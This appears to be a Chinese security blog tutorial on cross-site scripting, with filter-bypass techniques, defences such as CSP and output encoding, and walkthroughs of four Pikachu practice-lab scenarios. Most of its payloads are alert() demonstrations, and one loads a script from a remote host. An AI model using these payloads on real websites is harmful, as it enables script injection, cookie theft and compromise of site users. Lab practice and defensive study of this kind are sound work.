Web漏洞-XSS绕过和pikachu靶场4个场景(三)

★★实战前置声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、XSS漏洞挖掘与绕过

1.1、XSS漏洞挖掘

数据交互(输入/输出)的地方最容易产生跨站脚本,最重要的是考虑输入、输出在什么地方。一般常会对网站的输入框、URL参数、COOKIE、POST表单、HTTP头内容进行测试。

1.2、手工测试XSS步骤

1、找到测试点,比如搜索框、留言板。

2、根据测试流程首先实验一些特殊符号的输入,发现可以正常输出,说明后端并没有进行相关的过滤。比如:'<>?"&/6666

3、如果有过滤则进行相关的绕过。

1.3、XSS常见POC

常见XSS语句<script>标签

<script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
'><script>alert(1)</script>

常见XSS语句<img>标签

<img src=x onerror=alert(/xss/)>
<img src=javascript:alert(1)> //版本,E7.0|IE6.0,才能执行  
<img src=# onmouseover="alert(1)">

常见XSS语句<a>标签

"> <a href=javascript:alert('xss') > xss</a>
"> <a href="" οnclick="alert(1)"> xss</a>
1.4、XSS漏洞绕过方法
// 1.大小写绕过
<ScRiPt>alert(1)</ScRiPt>
// 2.双写绕过
<sc<script>ript>alert(/xss/)</script>
// 3.反引号绕过
`` 绕过单双引号的过滤
// 4.关闭标签(利用<>关闭标签)
"> <script>alert(1)</script>
// 5.超链接标签
< a href= > 1 </ a>
// 6.图片链接绕过
< img src=1 onerror=alert(1)>
// 7.编码绕过
-- 八进制、十进制、十六进制编码、html实体编码、url编码、base64等   
// 8.空格、回车、换行符、tab、混淆

2、XSS漏洞防御

2.1、CSP内容安全策略

CSP全称:Content Security Policy,内容安全策略:禁止加载外域代码,防止复杂的攻击逻辑;禁止外域提交,网站被攻击后,用户数据不会泄露到外域;禁止内联脚本执行(规则较严格);禁止未授权的脚本执行。

2.2、设置HttpOnly

通过设置HttpOnly防止cookie被窃取

2.3、输入输出检查

前端js和后端(php)完善的过滤机制:输入验证和输出编码。也可以做硬件防护:WAF和数据库安全等。

< 转成&lt;
> 转成&gt;       
& 转成&amp    
" 转成&quot
' 转成&#39
2.4、白名单或者黑名单

白名单验证:检查用户提交的数据,只接受指定长度范围内,适当格式和预期字符的输入,其余一律过滤。

黑名单验证:过滤包含XSS代码特征的内容,比如:<、 >、script、#

3、pikachu靶场4个场景实验

3.0、总体思路说明

先随便填写提交,看界面展示数据,右击查看页面源码数据是与回显一样,然后根据数据结构确定构建poc提交验证。

测试验证内容

'<>?"&/6666
3.1、xss之过滤
3.1.1、正常操作

输入’<>?"&/6666,发现显示有点奇怪,按F12看源码发现内容回显,被单引号包起来,界面显示如下:

在这里插入图片描述

3.1.2、查看源码

输入如下内容,按F2看源码,发现输入的内容script标签的内容全部被过滤掉了

我测试一下'<script>alert(1)</script>

在这里插入图片描述

3.1.3、确定攻击poc

以下是验证通过的poc

<ScRiPt>alert(1)</ScRiPt>
<svg onload=alert(1)>
<body onload=alert(1)>
<input type=image src=1 onerror=alert(1)>

在这里插入图片描述

3.2、xss之htmlspecialchars
3.2.1、正常操作

输入’<>?"&/6666,界面显示如下:

在这里插入图片描述

3.2.2、查看源码

查看源码,发现输入的内容,是填充在a标签的href和标签内,有被编码过的,href是用单引号的。

在这里插入图片描述

3.2.3、确定攻击poc

攻击poc就可以采用a标签弹窗方式的语句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面的部分,且alert()的内容需要用双引号,或者用数字的方式。

验证成功的poc

javascript:alert("test")
javascript:alert(123)

在这里插入图片描述

3.3、xss之href输出
3.3.1、正常操作

输入’<>?"&/6666,界面显示如下:

在这里插入图片描述

3.3.2、查看源码

查看源码,发现输入的内容,是填充在a标签的href内,没有被编码过的。

3.3.3、确定攻击poc

攻击poc就可以采用a标签弹窗方式的语句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面的部分,且alert()的内容用单/双引号都可,或者用数字的方式。

验证成功的poc

javascript:alert('test')
javascript:alert("test")
javascript:alert(123)

在这里插入图片描述

3.4、xss之js输出
3.4.1、正常操作

输入’<>?"&/6666,不显示任何东西,换成123尝试,界面显示如下:

在这里插入图片描述

3.4.2、查看源码

根据上面显示的内容,定位到p标签有一个id=“fromjs”,尝试搜索关键字:fromjs,发现页面有一段javascript代码,因此采用尝试闭合标签的方式。

在这里插入图片描述

3.4.3、确定攻击poc

验证成功的poc

</script><script>alert(1)</script>
</script><svg onload=alert(1)>
</script><img src=1 onerror=alert(1)>

在这里插入图片描述

4、总结

本文是Web漏洞-XSS攻击的第三篇,至此XSS攻击相关内容就告一段落。当时在做pikachu靶场实验【XSS之js输出】时完全没有头绪,前面9个实验的POC都无效,后来问了我的老师给我提示,查看源码了尝试闭合标签的方式,就瞬间明白了。有时知道一个知识点,到实际运用还是会懵,因此需要多练。与大家共勉。

后面会有CSRF、SSRF,SQL注入等内容的分享,其中SQL注入内容会比较多。还有一些PHP,Python编程的基础知识,如果大家感兴趣的话,可以留言反馈,我再整理出来分享也可以。

5、资料获取

靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/210317.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

排序算法---冒泡排序

1. 原理 对数组进行遍历&#xff0c;每次对相邻的两个元素进行比较&#xff0c;如果大的在前面&#xff0c;则交换两个元素的位置&#xff0c;完成一趟遍历后&#xff0c;数组中最大的数值到了数组的末尾。再对前面n-1个数值进行相同的遍历。一共完成n-1趟遍历就实现了排序。 1…

104. 二叉树的最大深度(Java)

目录 解法&#xff1a; 官方解答&#xff1a; 方法一&#xff1a;深度优先搜索 方法二&#xff1a;广度优先搜索 思路与算法 复杂度分析 时间复杂度&#xff1a; 空间复杂度&#xff1a; 给定一个二叉树 root &#xff0c;返回其最大深度。 二叉树的 最大深度 是指从根…

【密码学引论】数字签名

第八章 数字签名 1、数字签名体制包括两个方面&#xff1a;施加签名、验证签名 SIG(M,Kd)S VER(S,Ke)bool&#xff08;真、假&#xff09; 2、数字签名和信息加密的区别&#xff08;从密码学五个组成部分来回答 3、安全性要求&#xff1a;先签名后加密&#xff1b;针对哈希函…

如何入门网络安全_网络安全自学

由于我之前写了不少网络安全技术相关的故事文章&#xff0c;不少读者朋友知道我是从事网络安全相关的工作&#xff0c;于是经常有人在微信里问我&#xff1a; 我刚入门网络安全&#xff0c;该怎么学&#xff1f;要学哪些东西&#xff1f;有哪些方向&#xff1f;怎么选&#xff…

算法:合并两个有序数组(双指针)

时间复杂度 O(m n)&#xff0c;空间复杂度 O(1) /*** param {number[]} nums1* param {number} m* param {number[]} nums2* param {number} n* return {void} Do not return anything, modify nums1 in-place instead.*/ var merge function(nums1,m,nums2,n) {let p1 m-1…

深度模型训练时CPU或GPU的使用model.to(device)

一、使用device控制使用CPU还是GPU device torch.device("cuda:0" if torch.cuda.is_available() else "cpu") # 单GPU或者CPU.先判断机器上是否存在GPU&#xff0c;没有则使用CPU训练 model model.to(device) data data.to(device)#或者在确定有GPU的…

解决 Cannot read properties of undefined (reading ‘getUserMedia‘) 报错

[TOC](解决 Cannot read properties of undefined (reading ‘getUserMedia’) 报错) 0. 背景 使用浏览器输入语音时&#xff0c;浏览器的控制台里面有下面错误信息。 Cannot read properties of undefined (reading getUserMedia)1. 解决方法 在浏览器中访问 chrome://fla…

数字化浪潮下,你的企业数字化转型了吗?

企业数字化转型面临的挑战 技术转型挑战&#xff1a;数字化转型涉及到各种新技术、新软件和新硬件&#xff0c;需要企业有一定的技术实力和专业知识&#xff0c;并且需要不断学习和适应变化。对于传统企业来说&#xff0c;可能面临技术门槛高、技术更新快等问题。组织结构转型…

word中,文本框如何跨页?

我们经常使用word编辑一些文档&#xff0c;文档中往往会有一些比较大的文本框&#xff0c;需要跨多页&#xff0c;我们可以使用本文章中的方法&#xff0c;将文本框连接在一起&#xff0c;是的内容自动跨页。 在文字中插入两个文本框如下图&#xff1a; 将内容放到第一个文本框…

ubuntu上搭建bazel编译环境,构建Android APP

背景是github上下载的工程&#xff0c;说明仅支持bazel编译&#xff0c;折腾了一天Android studio&#xff0c;失败。 不得不尝试单价bazel编译环境&#xff0c;并不复杂&#xff0c;过程记录如下 说明&#xff1a;ubuntu环境是20.04&#xff0c;pve虚拟机安装 1.安装jdk sudo…

Android audio环形缓冲队列

1、背景 在学习audio的过程中&#xff0c;看到了大神zyuanyun的博客&#xff0c;在博客的结尾&#xff0c;大神留下了这些问题&#xff1a; 但是大神没有出后续的博文来说明audio环形缓冲队列的具体实现&#xff0c;这勾起了我强烈的好奇心。经过一段时间的走读代码&#xff…

朴素贝叶斯 朴素贝叶斯原理

朴素贝叶斯 朴素贝叶斯原理 判别模型和生成模型 监督学习方法又分生成方法 (Generative approach) 和判别方法 (Discriminative approach)所学到的模型分别称为生成模型 (Generative Model) 和判别模型 (Discriminative Model)。 朴素贝叶斯原理 朴素贝叶斯法是典型的生成学习…

深度学习之全面了解网络架构

在这篇文章中&#xff0c;我们将和大家探讨“深度学习中的网络架构”这个主题&#xff0c;解释相关背景知识&#xff0c;并就一些问题进行解答。 我选择的问题反映的是常见用法&#xff0c;而不是学术用例。我将概括介绍该主题&#xff0c;然后探讨以下四个问题&#xff1a; …

Java的I/O演进之路

文章目录 通信技术整体解决的问题1 I/O 模型基本说明2 I/O模型Java BIOJava NIOJava AIO 3 BIO、NIO、AIO 适用场景分析 通信技术整体解决的问题 局域网内的通信要求。多系统间的底层消息传递机制。高并发下&#xff0c;大数据量的通信场景需要。游戏行业。无论是手游服务端&a…

【出现模块node_modules里面包找不到】

#pic_center R 1 R_1 R1​ R 2 R^2 R2 目录 一、出现的问题二、解决办法三、其它可供参考 一、出现的问题 在本地运行 npm run docs:dev之后&#xff0c;出现 Error [ERR_MODULE_NOT_FOUND]: Cannot find package Z:\Blog\docs\node_modules\htmlparser2\ imported from Z:\Blo…

入门Redis学习总结

记录之前刚学习Redis 的笔记&#xff0c; 主要包括Redis的基本数据结构、Redis 发布订阅机制、Redis 事务、Redis 服务器相关及采用Spring Boot 集成Redis 实现增删改查基本功能 一&#xff1a;常用命令及数据结构 1.Redis 键(key) # 设置key和value 127.0.0.1:6379> set …

解释AI决策,这10个强大的 Python 库记得收藏!

本文整理了10个常用于可解释AI的Python库&#xff0c;方便我们更好的理解AI模型的决策。 什么是XAI&#xff1f; XAI&#xff08;Explainable AI&#xff09;的目标是为模型的行为和决策提供合理的解释&#xff0c;这有助于增加信任、提供问责制和模型决策的透明度。XAI 不仅…

《深入浅出进阶篇》洛谷P3197 越狱——集合

洛谷P3197 越狱 题目大意&#xff1a; 监狱有 n 个房间&#xff0c;每个房间关押一个犯人&#xff0c;有 m 种宗教&#xff0c;每个犯人会信仰其中一种。如果相邻房间的犯人的宗教相同&#xff0c;就可能发生越狱&#xff0c;求有多少种状态可能发生越狱。 答案对100,003 取模。…

Temu卖家如何获取流量?Temu新手卖家流量来源哪里?——站斧浏览器

流量对于每个平台来说都是很重要的&#xff0c;那么Temu卖家如何获取流量&#xff1f;流量来源哪里&#xff1f; Temu卖家如何获取流量&#xff1f; 1、优化产品标题和描述&#xff1a;在Temu平台上&#xff0c;买家通常通过搜索关键词来寻找他们感兴趣的产品。因此&#xff…

【数电笔记】58-同步D触发器

目录 说明&#xff1a; 1. 电路组成 2. 逻辑功能 3. 特性表、特性方程 4. 状态转移图 例题 5. 同步D触发器的特点 6. 集成同步D触发器&#xff1a;74LS375 74LS375内部原理 说明&#xff1a; 笔记配套视频来源&#xff1a;B站本系列笔记并未记录所有章节&#xff0c;…